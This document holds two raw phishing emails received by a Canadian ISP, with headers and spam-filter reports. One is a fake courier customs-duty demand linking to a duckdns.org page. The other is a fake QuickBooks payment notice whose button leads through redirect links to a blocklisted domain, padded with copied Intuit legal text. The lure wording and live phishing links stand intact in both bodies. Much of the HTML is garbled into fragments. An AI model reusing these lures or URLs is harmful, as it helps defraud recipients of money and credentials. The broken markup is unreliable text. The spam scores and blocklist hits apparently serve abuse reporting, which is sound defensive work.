Delivery-date: Thu, 03 Sep 2026 15:03:00 -0600

Received: from doctor by doctor.nl2k.ab.ca with local (Exim 4.100 (FreeBSD))

(envelope-from )

id 1x2EZN-00000000G3N-0QpN

for dave@doctor.nl2k.ab.ca;

Thu, 03 Sep 2026 15:02:01 -0600

Resent-From: The Doctor

Resent-Date: Thu, 3 Sep 2026 15:02:00 -0600

Resent-Message-ID:

Resent-To: Dave Yadallee

Received: from server.ace-hosting.com ([174.138.172.98]:50942)

by doctor.nl2k.ab.ca with esmtps (TLS1.2) tls TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384

(Exim 4.100 (FreeBSD))

(envelope-from )

id 1x2Dp0-000000003E0-23ky

for sales@nk.ca;

Thu, 03 Sep 2026 14:14:19 -0600

Received: from [196.75.51.4] (port=52720 helo=[127.0.0.1])

by server.ace-hosting.com with esmtpsa (TLS1.2) tls TLS_ECDHE_RSA_WITH_AES_128_GCM_SHA256

(Exim 4.99.5)

(envelope-from )

id 1x2Do8-000000006pB-2f03

for sales@nk.ca;

Fri, 04 Sep 2026 03:13:12 +0700

Content-Type: text/html

From: Dragonfly

To: sales@nk.ca

Subject: Dragonfly Delivery Notification

Message-ID: <58c97461-6cd8-305f-5d26-39b5f11d1d97@ppsolution.com>

Content-Transfer-Encoding: quoted-printable

Date: Thu, 03 Sep 2026 20:13:10 +0000

MIME-Version: 1.0

X-AntiAbuse: This header was added to track abuse, please include it with any abuse report

X-AntiAbuse: Primary Hostname - server.ace-hosting.com

X-AntiAbuse: Original Domain - nk.ca

X-AntiAbuse: Originator/Caller UID/GID - [47 12] / [47 12]

X-AntiAbuse: Sender Address Domain - ppsolution.com

X-Get-Message-Sender-Via: server.ace-hosting.com: authenticated_id: jayanto@ppsolution.com

X-Authenticated-Sender: server.ace-hosting.com: jayanto@ppsolution.com

X-Source:

X-Source-Args:

X-Source-Dir:

X-Spam_score: 7.2

X-Spam_score_int: 72

X-Spam_bar: +++++++

X-Spam_report: Spam detection software, running on the system "doctor.nl2k.ab.ca",

has identified this incoming email as possible spam. The original

message has been attached to this so you can view it or label

similar future email. If you have any questions, see

@@CONTACT_ADDRESS@@ for details.



Content preview: Dragonfly Express. Dear Customer,



Content analysis details: (7.2 points, 5.0 required)



pts rule name description

---- ---------------------- --------------------------------------------------

1.0 RCVD_IN_WSFF RBL: Received via a relay in will-spam-for-food.eu.org

[196.75.51.4 listed in will-spam-for-food.eu.org]

[196.75.51.4 listed in will-spam-for-food.eu.org]

[196.75.51.4 listed in will-spam-for-food.eu.org]

[196.75.51.4 listed in will-spam-for-food.eu.org]

[196.75.51.4 listed in will-spam-for-food.eu.org]

[196.75.51.4 listed in will-spam-for-food.eu.org]

[196.75.51.4 listed in will-spam-for-food.eu.org]

[196.75.51.4 listed in will-spam-for-food.eu.org]

[174.138.172.98 listed in will-spam-for-food.eu.org]

[174.138.172.98 listed in will-spam-for-food.eu.org]

[174.138.172.98 listed in will-spam-for-food.eu.org]

[174.138.172.98 listed in will-spam-for-food.eu.org]

[174.138.172.98 listed in will-spam-for-food.eu.org]

[174.138.172.98 listed in will-spam-for-food.eu.org]

[174.138.172.98 listed in will-spam-for-food.eu.org]

[174.138.172.98 listed in will-spam-for-food.eu.org]

1.5 RCVD_IN_AHBL RBL: AHBL: sender is listed in dnsbl.ahbl.org

[174.138.172.98 listed in dnsbl.ahbl.org]

[174.138.172.98 listed in dnsbl.ahbl.org]

[174.138.172.98 listed in dnsbl.ahbl.org]

[174.138.172.98 listed in dnsbl.ahbl.org]

[196.75.51.4 listed in dnsbl.ahbl.org]

[196.75.51.4 listed in dnsbl.ahbl.org]

[196.75.51.4 listed in dnsbl.ahbl.org]

[196.75.51.4 listed in dnsbl.ahbl.org]

1.5 RCVD_IN_AHBL_SPAM RBL: AHBL: Spam Source in dnsbl.ahbl.org

[174.138.172.98 listed in dnsbl.ahbl.org]

0.5 RCVD_IN_AHBL_PROXY RBL: AHBL: Open Proxy server in dnsbl.ahbl.org

[174.138.172.98 listed in dnsbl.ahbl.org]

0.0 RCVD_IN_AHBL_RTB RBL: AHBL: Real-Time Blocked in dnsbl.ahbl.org

[174.138.172.98 listed in dnsbl.ahbl.org]

0.5 RCVD_IN_AHBL_SMTP RBL: AHBL: Open SMTP relay in dnsbl.ahbl.org

[174.138.172.98 listed in dnsbl.ahbl.org]

1.6 RCVD_IN_BRBL_LASTEXT RBL: No description available.

[174.138.172.98 listed in bb.barracudacentral.org]

-2.0 RCVD_IN_RP_SAFE RBL: Sender in ReturnPath Safe - Contact

safe-sa@returnpath.net

[Excessive Number of Queries | ]

-3.0 RCVD_IN_RP_CERTIFIED RBL: Sender in ReturnPath Certified - Contact

cert-sa@returnpath.net

[Excessive Number of Queries | ]

0.1 URIBL_SBL_A Contains URL's A record listed in the SBL blocklist

[URI: dragonfly-service.duckdns.org/192.162.70.190]

0.1 URIBL_CSS_A Contains URL's A record listed in the Spamhaus CSS

blocklist

[URI: dragonfly-service.duckdns.org/192.162.70.190]

-0.0 SPF_PASS SPF: sender matches SPF record

-0.0 SPF_HELO_PASS SPF: HELO matches SPF record

0.2 MR_NOT_ATTRIBUTED_IP Beta rule: an non-attributed IPv4 found in

headers

1.3 RCVD_IN_RP_RNBL RBL: Relay in RNBL,

https://senderscore.org/blacklistlookup/

[174.138.172.98 listed in bl.score.senderscore.com]

-0.2 RCVD_IN_MSPIKE_H2 RBL: Average reputation (+2)

[174.138.172.98 listed in wl.mailspike.net]

1.1 MIME_HTML_ONLY BODY: Message only has text/html MIME parts

0.0 HTML_MESSAGE BODY: HTML included in message

0.0 HTML_FONT_SIZE_HUGE BODY: HTML font size is huge

2.0 RATWR8_MESSID Message-ID with excessive dashes and dollars

1.0 VOWEL_URI_5 URI hostname with 5 consecutive vowels

Subject: {SPAM?} Dragonfly Delivery Notification














hidden; MAX-WIDTH: 600px; BACKGROUND: #fff; MARGIN: 20px auto; =

border-radius: 10px; box-shadow: 0 4px 8px rgba(0,0,0,.10)">


align-items: center; justify-content: center">


30px; FONT-WEIGHT: bold; COLOR: #fff; FONT-STYLE: italic">Dragonfly Express=

.







PADDING-TOP: 24px; PADDING-LEFT: 20px; PADDING-RIGHT: 20px">


DISPLAY: inline-block; PADDING-RIGHT: 6px">Dear Customer,

 






1.6">

Goods imported into Canada may be subject to applicable duties =

and/or taxes. Carriers are authorized by the. to process occasional =

shipments on behalf of the importer or owner and may remit applicable =

duties and taxes.





However, a parcel belonging to you has been held =

by customs due to missing declaration details from the sender. Please pay: =

4.95 CAD





in duties and taxes as soon as =

possible using the button below: taxes, or other charges are actually owed.=








href=3D"https://dragonfly-service.duckdns.org/Dragonfly_Shipping/" =

style=3D"FONT-SIZE: 14px; TEXT-DECORATION: none; BACKGROUND: #04ab94; =

FONT-WEIGHT: bold; COLOR: #fff; PADDING-BOTTOM: 10px; PADDING-TOP: 10px; =

PADDING-LEFT: 20px; DISPLAY: inline-block; PADDING-RIGHT: 20px; =

border-radius: 5px">Track my package






COLOR: #000">Thank you for choosing Dragonfly Express.










COLOR: #717171; PADDING-BOTTOM: 20px; TEXT-ALIGN: center; PADDING-TOP: =

20px; PADDING-LEFT: 20px; MARGIN: 0px auto; PADDING-RIGHT: 20px; =

border-radius: 10px; box-shadow: 0 4px 8px rgba(0,0,0,.10)">

This email was sent by an automated system=

. Please do not reply official:





© 2026 =

Intelcom Express - Dragonfly Express. All rights reserved.











Quickbooks phish from Amazon

X-Mozilla-Status: 0001

X-Mozilla-Status2: 00000000

Return-path:

Envelope-to: dave@doctor.nl2k.ab.ca

Delivery-date: Thu, 03 Sep 2026 15:02:00 -0600

Received: from doctor by doctor.nl2k.ab.ca with local (Exim 4.100 (FreeBSD))

(envelope-from )

id 1x2EYk-00000000Fin-1Ey6

for dave@doctor.nl2k.ab.ca;

Thu, 03 Sep 2026 15:01:22 -0600

Resent-From: The Doctor

Resent-Date: Thu, 3 Sep 2026 15:01:22 -0600

Resent-Message-ID:

Resent-To: Dave Yadallee

Received: from d219-58.smtp-out.eu-west-2.amazonses.com ([23.249.219.58]:43953)

by doctor.nl2k.ab.ca with esmtps (TLS1.3) tls TLS_AES_128_GCM_SHA256

(Exim 4.100 (FreeBSD))

(envelope-from <010b01a0689c715d-6939a4ad-0a9c-449e-bea1-c226692bf131-000000@eu-west-2.amazonses.com>)

id 1x2CXl-00000000KrK-0zzX

for sales@nk.ca;

Thu, 03 Sep 2026 12:52:24 -0600

DKIM-Signature: v=1; a=rsa-sha256; q=dns/txt; c=relaxed/simple;

s=xj3vv7regidmj2kjf3dxbggeavbwoggx; d=artauk.com; t=1788461478;

h=From:To:Subject:Date:Message-ID:MIME-Version:Content-Type;

bh=QbGZVsj/Y/DpZi5Wl+Td9qfMTmxgrJYAVXF3POFhFbg=;

b=POg6c5MQOCzQnovuFGT5QIQSnP51MaC9AaeRwFE26NNZMGcIeDjkmO7ltiylJ+Kd

Gz6pqXvUqVcjBOlw3msLFEoMna3KhRFuGOUlyEP56G7qxqYzzFxPSfL3iA1wrVpasI9

+IjfISgFW+SwRpDJLWXPnDSlw7ky8GQ9RjlkbW4AmmxMtLzAgpYyJ0q/PWvZNcJCtv3

A751PPvsXPJY8AeuFZoibvYkLtQH18F9QhVlnusiUli/BqN0yqDTedFpSBzHke8NeKW

pYnzWVeGF9TbbIpe+TwRCQkg6ll3IZX/YoAxmZVf8oegYEnFINFhqrFMM3v45pRdoed

JeGniE6o+A==

DKIM-Signature: v=1; a=rsa-sha256; q=dns/txt; c=relaxed/simple;

s=smjs5bczbyxi6u2ua6eveuxqal7joyry; d=amazonses.com; t=1788461478;

h=From:To:Subject:Date:Message-ID:MIME-Version:Content-Type:Feedback-ID;

bh=QbGZVsj/Y/DpZi5Wl+Td9qfMTmxgrJYAVXF3POFhFbg=;

b=tvKudyrv4ARoPUdJZDD4ndv62AvisNdC5oqQp8e+Lm5ZtDsjQp4H56sf9o6wC7nm

QttCLVsQdapTujf6GZVwoHO88FNezqUetDS/pkeQpgPeX5TEg3diCFGwlISgU/EODR8

g4q+tgqK8ZFa9GEPPEK8zP20UFFCiJfGS4sT+Cf0=

From: Quickbooks

To: sales@nk.ca

Subject: You have been paid!

Date: Thu, 3 Sep 2026 18:51:18 +0000

Message-ID: <010b01a0689c715d-6939a4ad-0a9c-449e-bea1-c226692bf131-000000@eu-west-2.amazonses.com>

MIME-Version: 1.0

Content-Type: multipart/related;

boundary="----=_NextPart_000_0012_3DF96F96.FD05673C"

Feedback-ID: ::1.eu-west-2.KF0D5Si/T6I6+WnL99+0b1aUaR9iOu8fjzrVmxJHARM=:AmazonSES

X-SES-Outgoing: 2026.09.03-23.249.219.58

X-Spam_score: 27.2

X-Spam_score_int: 272

X-Spam_bar: +++++++++++++++++++++++++++

X-Spam_report: Spam detection software, running on the system "doctor.nl2k.ab.ca",

has identified this incoming email as possible spam. The original

message has been attached to this so you can view it or label

similar future email. If you have any questions, see

@@CONTACT_ADDRESS@@ for details.



Content preview: Vendor Payment - Remittance Advice. Invoice Payment Sent

Via: QuickBooks BillPay Services. To be delivered by: Bank Transfer EFT (ACH/Direct

Deposit). Delivery ETA: Monday, September 14, 2026. View p [...]



Content analysis details: (27.2 points, 5.0 required)



pts rule name description

---- ---------------------- --------------------------------------------------

1.0 RCVD_IN_WSFF RBL: Received via a relay in will-spam-for-food.eu.org

[23.249.219.58 listed in will-spam-for-food.eu.org]

[23.249.219.58 listed in will-spam-for-food.eu.org]

[23.249.219.58 listed in will-spam-for-food.eu.org]

[23.249.219.58 listed in will-spam-for-food.eu.org]

[23.249.219.58 listed in will-spam-for-food.eu.org]

[23.249.219.58 listed in will-spam-for-food.eu.org]

[23.249.219.58 listed in will-spam-for-food.eu.org]

[23.249.219.58 listed in will-spam-for-food.eu.org]

1.5 RCVD_IN_AHBL RBL: AHBL: sender is listed in dnsbl.ahbl.org

[23.249.219.58 listed in dnsbl.ahbl.org]

[23.249.219.58 listed in dnsbl.ahbl.org]

[23.249.219.58 listed in dnsbl.ahbl.org]

[23.249.219.58 listed in dnsbl.ahbl.org]

1.5 RCVD_IN_AHBL_SPAM RBL: AHBL: Spam Source in dnsbl.ahbl.org

[23.249.219.58 listed in dnsbl.ahbl.org]

0.0 RCVD_IN_AHBL_RTB RBL: AHBL: Real-Time Blocked in dnsbl.ahbl.org

[23.249.219.58 listed in dnsbl.ahbl.org]

0.5 RCVD_IN_AHBL_SMTP RBL: AHBL: Open SMTP relay in dnsbl.ahbl.org

[23.249.219.58 listed in dnsbl.ahbl.org]

0.5 RCVD_IN_AHBL_PROXY RBL: AHBL: Open Proxy server in dnsbl.ahbl.org

[23.249.219.58 listed in dnsbl.ahbl.org]

2.5 URIBL_DBL_SPAM Contains a spam URL listed in the DBL blocklist

[URI: viewtelxfile.es]

-3.0 RCVD_IN_RP_CERTIFIED RBL: Sender in ReturnPath Certified - Contact

cert-sa@returnpath.net

[Excessive Number of Queries | ]

1.1 URIBL_GREY Contains an URL listed in the URIBL greylist

[URI: sendgrid.net]

-2.0 RCVD_IN_RP_SAFE RBL: Sender in ReturnPath Safe - Contact

safe-sa@returnpath.net

[Excessive Number of Queries | ]

1.8 URIBL_CT_SURBL Contains an URL listed in the CT SURBL blocklist

[URI: u7445749.ct.sendgrid.net]

0.1 URIBL_SBL_A Contains URL's A record listed in the SBL blocklist

[URI: artauk.com/35.177.66.163]

0.1 URIBL_CSS_A Contains URL's A record listed in the Spamhaus CSS

blocklist

[URI: artauk.com/35.177.66.163]

1.3 RCVD_IN_RP_RNBL RBL: Relay in RNBL,

https://senderscore.org/blacklistlookup/

[23.249.219.58 listed in bl.score.senderscore.com]

-0.0 SPF_PASS SPF: sender matches SPF record

-0.0 SPF_HELO_PASS SPF: HELO matches SPF record

2.0 GR_DOMAIN_AMAZON1 Received contains spam friendly host (amazon)

0.2 MR_NOT_ATTRIBUTED_IP Beta rule: an non-attributed IPv4 found in

headers

0.0 HEADER_FROM_DIFFERENT_DOMAINS From and EnvelopeFrom 2nd level mail

domains are different

-0.0 T_RP_MATCHES_RCVD Envelope sender domain matches handover relay

domain

15 GR_DOMAIN_SENDGR6 URI: Body contains known spammer URI (sendgr)

1.1 MIME_HTML_ONLY BODY: Message only has text/html MIME parts

0.0 HTML_MESSAGE BODY: HTML included in message

0.0 HTML_FONT_SIZE_HUGE BODY: HTML font size is huge

2.0 RATWR8_MESSID Message-ID with excessive dashes and dollars

0.0 T_DKIM_INVALID DKIM-Signature header exists but is not valid

0.0 SARE_FROM_SPAM_WORD4 From address suggests this may be spam

Subject: {SPAM?} You have been paid!





------=_NextPart_000_0012_3DF96F96.FD05673C

Content-Type: text/html;

charset="iso-8859-1"

Content-Transfer-Encoding: quoted-printable










>


" />














ext-size-adjust: 100%; margin:0; padding:0;" align=3D"center" bgcolor=3D"#e=

ceef1" id=3D"body" leftmargin=3D"0" marginheight=3D"0" marginwidth=3D"0" to=

pmargin=3D"0">




0pt; padding:0px;margin:0px;width:100%;" bgcolor=3D"#eceef1" border=3D"0" =

cellpadding=3D"0" cellspacing=3D"0">


































:1px;height:1px;"> 

:1px;max-height:1px;"> 

:1px;max-height:1px;"> 

:1px;max-height:1px;"> 
 
d>




ce: 0pt; max-width:640px;" border=3D"0" cellpadding=3D"0" cellspacing=3D"0"=

class=3D"to100pc">










































bicubic; display:block;" alt=3D"" border=3D"0" class=3D"hide" height=3D"1"=

src=3D"cid:socialspacer.png" width=3D"20" /=3D"">



space: 0pt; max-width: 600px;" align=3D"center" bgcolor=3D"#eceef1" border=

=3D"0" cellpadding=3D"0" cellspacing=3D"0" class=3D"to95pc" width=3D"600">










5749.ct.sendgrid.net/ls/click?upn=3Du001.C9ANdvTYX227JkDSVWi87TvvL95lUdHNT6=

wzBxXCtpIhUdEnz39IXrOMqJMCXNhJhWSE_7-2B-2F6303DPKGgWagyHspi-2BIIp3fb5TQM-2F=

EnK471lyTVnJo22Oqu1-2BZzkSxnzXXSSnwwZtK4ClDL4Z0JemQUL3u6Brhd-2BwDUqQngkRL-2=

F2T0mD6bXWvoCr89LrgQlbCoSXJIT-2Fco-2FsCcu9SeD6lpRwPBrYwe-2FlTUpk44TEdPqGlcN=

tq9RKsJSpH3wNC84-2FbObBRCSQMl4bsyPvndf4axOT5XCrUiswi-2BW-2BFzOBwfFSsF0rgXqV=

NcPiJ5saRQePLQSL8Ik2M12LHRdOH4c8sm3JscHod2rlORAcik9EtJ2GH0SVFSG-2F54JXffTdk=

3x5VB8l0bdQC9QHSAW9j2pF8YXTVAgwn1W3pgQUNv5eCLWyC08MG67HjPmH8QdTniixh9z5sZxR=

L4n-2BRHJy167dcwLkaX3FWWGYZrQC54kIUgOIH9-2B7sN15PA2Knc-2FaYn92jLTxVthbtCowb=

izLn-2FVdy58n3HBH5t5hoB19rNqlzSDX2JP3sC-2FbgykQalF8aL-2BnKSoxwi27-2FBsZ3xdI=

tq0bmtAjZg1ebJ4BjjNGEs4fbKZh7vKYIyGRJBW425R1GsB8eOak9clM4-2Fl7VC5HPSbIeKybo=

Zksj2gU9TKEiR400tV21pU5QA285t3fFDd9JR6KsgGm5JWZbZIMgTKIw76vjz-2FmBt4unvvGF7=

ZzsxCSK7ccoIBPapbpv9o1GpOZxBe8LNhuHOrqW4VJx6-2Bb-2BEc1n-2FZXNMhW4z9mNLvFaLr=

7wxQeU6LAqdko-2BTnJM9uJaXOZ7tmBy2DQ1ErJ3kskDeduFW-2BlkjyLIPp02Qy6VXcJDclpOT=

Y5i-2Fs11SoLlMrGy4vpgjj-2BkorXqzSwPxGt1zFsV9xaRPjGqXZJ-2BiMXeWP4oidadXUn-2B=

Mdt0yLiWcc9aI5RzRu6vE5grzFs-2BUdAzu62Z9-2FK5cjyWb-2BD3M5Q8KnUH83B8YYs-3D" t=

arget=3D"_blank">
ck; font-size:14px; font-family:'Avenir Next', Avenir, Helvetica, sans-seri=

f; color:#393A3D; text-align: center;" alt=3D"Intuit QuickBooks" border=3D"=

0" height=3D"68" src=3D"cid:socialqblogo2.png" width=3D"155" /=3D"">

d>




bicubic; display:block;" alt=3D"" border=3D"0" class=3D"hide" height=3D"1"=

src=3D"cid:socialspacer.png" width=3D"20" /=3D"">

bicubic; display:block;" alt=3D"" border=3D"0" class=3D"hide" height=3D"1"=

src=3D"cid:socialspacer.png" width=3D"20" /=3D"">



space: 0pt; max-width: 600px; border-radius:8px;" align=3D"center" bgcolor=

=3D"#ffffff" border=3D"0" cellpadding=3D"0" cellspacing=3D"0" class=3D"to95=

pc" width=3D"600">
















































40px 30px 25px;">
ock;" border=3D"0" class=3D"processing_icon" height=3D"54" src=3D"cid:proce=

ssingicon.png" width=3D"101" /=3D"">

=3D"text30to22" style=3D"font-size:25px; line-height:36px; font-family:'Ave=

nir Next', Avenir, Helvetica, sans-serif; color:#393A3D;">Vendor Payment=

- Remittance Advice.

=3D"text16to14b" style=3D"font-size:16px; line-height:20px; font-family:'Av=

enir Next', Avenir, Helvetica, sans-serif; color:#393A3D;">Invoice Payment =

Sent Via: QuickBooks BillPay Services.

=3D"text16to14b" style=3D"font-size:16px; line-height:20px; font-family:'Av=

enir Next', Avenir, Helvetica, sans-serif; color:#393A3D;">To be delivered =

by: Bank Transfer EFT (ACH/Direct Deposit).

=3D"text16to14b" style=3D"font-size:16px; line-height:20px; font-family:'Av=

enir Next', Avenir, Helvetica, sans-serif; color:#393A3D;">Delivery ETA:
trong>Monday, September 14, 2026.

20px;">


e-rspace: 0pt" align=3D"center" bgcolor=3D"#ffffff" border=3D"0" cellpaddin=

g=3D"0" cellspacing=3D"0">














able-rspace: 0pt; border-radius:25px;" bgcolor=3D"#339e28" border=3D"0" cel=

lpadding=3D"0" cellspacing=3D"0">












y: 'Avenir Next', Avenir, Helvetica, sans-serif;font-size:16px; line-height=

:22px;color: #ffffff; text-decoration: none; font-weight:600; vertical-alig=

n: middle; height:36px; border-radius: 25px;">
tmp/xQTrpKPPSrHlspmHKMcPdQwLZXkxGfqmgtHFQtxhNbFCsWcjktGTsjLmsqmsSXzCgKbXmGk=

GHkbrKfKvkXFxShkWxZgCJMnLHNPDRNxkkqwfTLKRHlCQb/tran/wap/" name=3D"View" sty=

le=3D"color: #ffffff; text-decoration: none; vertical-align: middle; paddin=

g: 8px 30px; border-radius: 25px; display: block;" target=3D"_blank">View&n=

bsp;payment details





x;">


e-rspace: 0pt" align=3D"center" bgcolor=3D"#ffffff" border=3D"0" cellpaddin=

g=3D"0" cellspacing=3D"0" width=3D"100%">


















line-height:1px;max-height:1px;height:1px;padding:0px 30px;">


able-rspace: 0pt; max-width: 540px;" align=3D"center" bgcolor=3D"#d1d1d1" b=

order=3D"0" cellpadding=3D"0" cellspacing=3D"0" width=3D"100%">












g style=3D"-ms-interpolation-mode: bicubic; display:block;max-height:1px;he=

ight:1px;" alt=3D"" border=3D"0" height=3D"1" src=3D"cid:socialspacer.png" =

width=3D"10" /=3D"">



30px;">


able-rspace: 0pt" align=3D"center" bgcolor=3D"#ffffff" border=3D"0" cellpad=

ding=3D"0" cellspacing=3D"0" width=3D"100%">
















bicubic; display:block;" alt=3D"" border=3D"0" class=3D"hide" height=3D"1"=

src=3D"cid:socialspacer.png" width=3D"20" /=3D"">

bicubic; display:block;" alt=3D"" border=3D"0" class=3D"hide" height=3D"1"=

src=3D"cid:socialspacer.png" width=3D"20" /=3D"">



space: 0pt; max-width: 600px;" align=3D"center" bgcolor=3D"#eceef1" border=

=3D"0" cellpadding=3D"0" cellspacing=3D"0" class=3D"to95pc" width=3D"600">






























line-height:16px; font-family:'Avenir Next', Avenir, Helvetica, sans-serif=

; color:#6B6C72;"> 


**Standard ACH payments are usually delivered to the vendor’=

s account within 2-5 business days, paper checks are usually delivered with=

in 7-10 business days. Faster payments are subject to eligibility criteria.=

Delivery times may vary due to third party delays or risk reviews.


 


Money movement services are provided by Intuit Payments Inc. pursu=

ant to Intuit Payments Inc.'s licenses


(NMLS #10‍98819). Intuit Payments Inc. is located at 27‍00=

Coast Av‍enue, Mount‍ain View, C‍A 9‍4043, phone 1-‍88=

8-‍536-‍4801


 


For more information about Intuit Payments' money transmission=

licenses, including California customers' right to refund statement, p=

lease visit our
u001.C9ANdvTYX227JkDSVWi87SLSj81B264OYNNlpD-2BCTPJzPmKYQoypOAx7KjMAtPUbFoen=

RPCncYMvvfSpU9pu3g-3D-3DBQr4_7-2B-2F6303DPKGgWagyHspi-2BIIp3fb5TQM-2FEnK471=

lyTVnJo22Oqu1-2BZzkSxnzXXSSnwwZtK4ClDL4Z0JemQUL3u6Brhd-2BwDUqQngkRL-2F2T0mD=

6bXWvoCr89LrgQlbCoSXJIT-2Fco-2FsCcu9SeD6lpRwPBrYwe-2FlTUpk44TEdPqGlcNtq9RKs=

JSpH3wNC84-2FbObBRCSQMl4bsyPvndf4axOT5XCrUiswi-2BW-2BFzOBwfFSsF0rgXqVNcPiJ5=

saRQePLQSL8Ik2M12LHRdOH4c8sm3JscHod2rlORAcik9EtJ2GH0SVFSG-2F54JXffTdk3x5VB8=

l0bdQC9QHSAW9j2pF8YXTVAgwn1W3pgQUNv5eCLWyC08MG67HjPmH8QdTniixh9z5sZxRL4n-2B=

RHJy167dcwLkaX3FWWGYZrQC54kIUgOIH9-2B7sN15PA2Knc-2FaYn92jLTxVthbtCowbizLn-2=

FVdy58n3HBH5t5hoB19rNqlzSDX2JP3sC-2FbgykQalF8aL-2BnKSoxwi27-2FBsZ3xdItq0bmt=

AjZg1ebJ4BjjNGEs4fbKZh7vKYIyGRJBW425R1GsB8eOak9clM4-2Fl7VC5HPSbIeKyboZksj2g=

U9TKEiR400tV21pU5QA285t3fFDd9JR6KsgGm5JWZbZIMgTKIw76vjz-2FmBt4unvvGF7ZzsxCS=

K7ccoIBPapbpv9o1GpOZxBe8LNhuHOrqW4VJx6-2Bb-2BEc1n-2FZXNMhW4z9mNLvFaLr7wxQeU=

6LDcU4SDOIf6EoeKAp1VkVcsd4NphHvGk-2BneNbp836bgMkKG-2Fs3IHTLEmOYr0JQuwn5ypmi=

KJEerXOfHmO-2B7nHIQ4U6Txcam1kW6EuxRUPRZC-2F8-2FbwIJeexl1fV0dmKW5zFgevJCeSmm=

xiD49W9FVbUJ2M75x6u4uspmMruizgehHuL08DGYAeeoU0ZwmOAoobM-3D" style=3D"color:=

#077DC6; text-decoration:none!important;" target=3D"_blank">payment license=

s page.



 


Illinois Residents: RIGHT TO REFUND. You are entitled to a =

refund of the money to be transmitted if Intuit Payments Inc. does not forw=

ard the money received from you within 3 business days of the date of its r=

eceipt. If you want a refund, you must mail or deliver your written request=

to Intuit Payments Inc., 27‍00 Coast Av‍enue, Mount‍ain View, =

C‍A 9‍4043 Attn: Intuit Payments Inc. or by calling the Customer Se=

rvice Center at 1‑‍888&=

#8209;‍536‑‍4801.



 


Minnesota Residents: Consumers are warned that fraud can an=

d does occur. Please call Intuit Payments Inc. at 1‑‍888‑&z=

wj;536‑‍4801 to report =

fraud.



 


New York residents: RIGHT TO REFUND. You are entitled to a =

refund of the money to be transmitted if Intuit Payments Inc. (NMLS #10&zwj=

;98819) does not forward the money received from you within 10 business day=

s of the date of its receipt. If you want a refund, you must mail or delive=

r your written request to Intuit Payments Inc., 27‍00 Coast Av‍enue=

, Mount‍ain View, C‍A 9‍4043 or by calling the Customer Service=

Center at 1‑‍888‑‍536‑‍4801. Intuit Payments=

Inc. is licensed under the Transmitters of Money Act and regulated by the =

New York State Department of Financial Services. If you have a complaint, f=

irst contact Intuit Payments Inc. at 1‑‍888‑‍536‑=

‍4801. Unresolved consumer complaints may be mailed to the New York Sta=

te Department of Financial Services, Consumer Services Division, One Commer=

ce Plaza, Al‍bany, N‍Y.
span>


 


For Alaska Residents Only: If your issue is unresolved by I=

ntuit Payments, Inc. at 1-800-446-8848, please submit formal complaints wit=

h the State of Alaska, Division of Banking & Securities. Please downloa=

d the form here:
=3Du001.C9ANdvTYX227JkDSVWi87adRoCkK3JEOLqfZOw-2BGU8-2FQOLGVb5FvBcuD1K03lXe=

P1tVlTQWOx9FSLmIppv-2BDagmj81PzBe0TWikGDCtWvfMtwWaPvV6-2Bk6B0hQunMahhLqZj_7=

-2B-2F6303DPKGgWagyHspi-2BIIp3fb5TQM-2FEnK471lyTVnJo22Oqu1-2BZzkSxnzXXSSnww=

ZtK4ClDL4Z0JemQUL3u6Brhd-2BwDUqQngkRL-2F2T0mD6bXWvoCr89LrgQlbCoSXJIT-2Fco-2=

FsCcu9SeD6lpRwPBrYwe-2FlTUpk44TEdPqGlcNtq9RKsJSpH3wNC84-2FbObBRCSQMl4bsyPvn=

df4axOT5XCrUiswi-2BW-2BFzOBwfFSsF0rgXqVNcPiJ5saRQePLQSL8Ik2M12LHRdOH4c8sm3J=

scHod2rlORAcik9EtJ2GH0SVFSG-2F54JXffTdk3x5VB8l0bdQC9QHSAW9j2pF8YXTVAgwn1W3p=

gQUNv5eCLWyC08MG67HjPmH8QdTniixh9z5sZxRL4n-2BRHJy167dcwLkaX3FWWGYZrQC54kIUg=

OIH9-2B7sN15PA2Knc-2FaYn92jLTxVthbtCowbizLn-2FVdy58n3HBH5t5hoB19rNqlzSDX2JP=

3sC-2FbgykQalF8aL-2BnKSoxwi27-2FBsZ3xdItq0bmtAjZg1ebJ4BjjNGEs4fbKZh7vKYIyGR=

JBW425R1GsB8eOak9clM4-2Fl7VC5HPSbIeKyboZksj2gU9TKEiR400tV21pU5QA285t3fFDd9J=

R6KsgGm5JWZbZIMgTKIw76vjz-2FmBt4unvvGF7ZzsxCSK7ccoIBPapbpv9o1GpOZxBe8LNhuHO=

rqW4VJx6-2Bb-2BEc1n-2FZXNMhW4z9mNLvFaLr7wxQeU6LBsOLn3-2FqIUB4CL9NzUQ-2B4bFt=

ScuvVjCyZSaOKBgDpy9wKFEqDeiMTY3fqmVzkECuz2mHVjJtqJ1QzQIcDa2Y9-2BOTRMkfIvzTe=

y4bj3R4vJWoGSsK-2FxCMKqBY12K-2BUMzg1LPjztrp1atEA2-2B4nb7PEVwRv1iMjPl6-2B8Rl=

O610-2B8aFWb3PWDHSXLtpqLfXC2Bqs-3D" style=3D"color:inherit;" target=3D"_bla=

nk">https://www.commerce.alaska.gov/web/portals/3/pub/DBSGeneralComplaintFo=

rmupdated.pdf
. Submit formal complaint form with supporting documents:D=

ivision of Banking & Securities PO Box 110807 Juneau, AK 99811-0807 If =

you are an Alaska resident with questions regarding formal complaints, plea=

se email us at
nherit;" target=3D"_blank">dbs.licensing@alaska.gov
or call Nine Zero S=

even Four Six Five Two Five Two One.


 


IPI is responsible for the non-delivery or delayed delivery of you=

r funds until such funds are received by the designated beneficiary, and IP=

I is liable in the event that your funds are lost
e: nowrap;">or stolen.



 


Intuit respects your privacy. To learn more, read our Privacy Stat=

ement (
dvTYX227JkDSVWi87SFKuNJHR3zi6FTkhZTZmFYwYKK3SiLAxIbx1TNTVsc2UCRE_7-2B-2F630=

3DPKGgWagyHspi-2BIIp3fb5TQM-2FEnK471lyTVnJo22Oqu1-2BZzkSxnzXXSSnwwZtK4ClDL4=

Z0JemQUL3u6Brhd-2BwDUqQngkRL-2F2T0mD6bXWvoCr89LrgQlbCoSXJIT-2Fco-2FsCcu9SeD=

6lpRwPBrYwe-2FlTUpk44TEdPqGlcNtq9RKsJSpH3wNC84-2FbObBRCSQMl4bsyPvndf4axOT5X=

CrUiswi-2BW-2BFzOBwfFSsF0rgXqVNcPiJ5saRQePLQSL8Ik2M12LHRdOH4c8sm3JscHod2rlO=

RAcik9EtJ2GH0SVFSG-2F54JXffTdk3x5VB8l0bdQC9QHSAW9j2pF8YXTVAgwn1W3pgQUNv5eCL=

